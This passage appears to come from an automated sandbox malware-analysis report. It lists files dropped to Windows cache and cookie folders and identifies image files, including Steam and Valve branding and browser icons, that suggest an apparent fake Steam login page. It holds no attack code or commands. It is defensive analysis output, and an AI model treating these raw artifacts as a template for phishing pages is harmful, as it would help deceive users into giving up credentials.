[%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00003528] Dropped file: "BCB67D7ECB470284AF35679F339E879F" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BCB67D7ECB470284AF35679F339E879F]- [targetUID: 00000000-00003576] Dropped file: "6B2043001D270792DFFD725518EAFE2C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00003764] Dropped file: "QLX8GV4J.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\QLX8GV4J.txt]- [targetUID: 00000000-00004020] Dropped file: "E87CE99F124623F95572A696C80EFCAF_70445D979E6BDC085A06FAD3F5B6E186" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_70445D979E6BDC085A06FAD3F5B6E186]- [targetUID: 00000000-00003528] Dropped file: "F07644E38ED7C9F37D11EEC6D4335E02_524BBAFA66E109E6A3AAE054ADFDA005" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_524BBAFA66E109E6A3AAE054ADFDA005]- [targetUID: 00000000-00003528]68:T954,"new_login_bg_strong_mask_1_.jpg" has type "JPEG image data Exif standard: [TIFF image data little-endian direntries=0] baseline precision 8 1920x1080 components 3" and extension "jpg" "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced" and extension "png" "header_logo_1_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced" and extension "png" "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced" and extension "png" "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced" and extension "png" "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "glyph_alert_critical_big-2x_1_.png" has type "PNG image data 224 x 200 8-bit/color RGBA non-interlaced" and extension "png" "sprite_form_2x_1_.png" has type "PNG image data 48 x 1350 8-bit colormap non-interlaced" and extension "png" "header_menu_hamburger_1_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced" and extension "png" "logo_steam_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "footerLogo_valve_new_1_.png" has type "PNG image data 176 x 50 8-bit/color RGBA non-interlaced" and extension "png" "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "icon-PN-check_1_.png" has type "PNG image data 121 x 133 8-bit/color RGBA non-interlaced" and extension "png" "logo_valve_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "ico_twitter_1_.gif" has type "GIF image data version 89a 16 x 16" and extension "gif" "ico_facebook_1_.gif" has type "GIF image data version 89a 16 x 16" and extension "gif" "btn_header_installsteam_download_1_.png" has type "PNG image data 15 x 13 8-bit/color RGBA non-interlaced" and extension "png" "btn_arrow_down_padded_1_.png" has type "PNG image data 19 x 12 8-bit/color RGBA non-interlaced" and extension "png" "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced" and extension "png"69:Tc007,"initAft()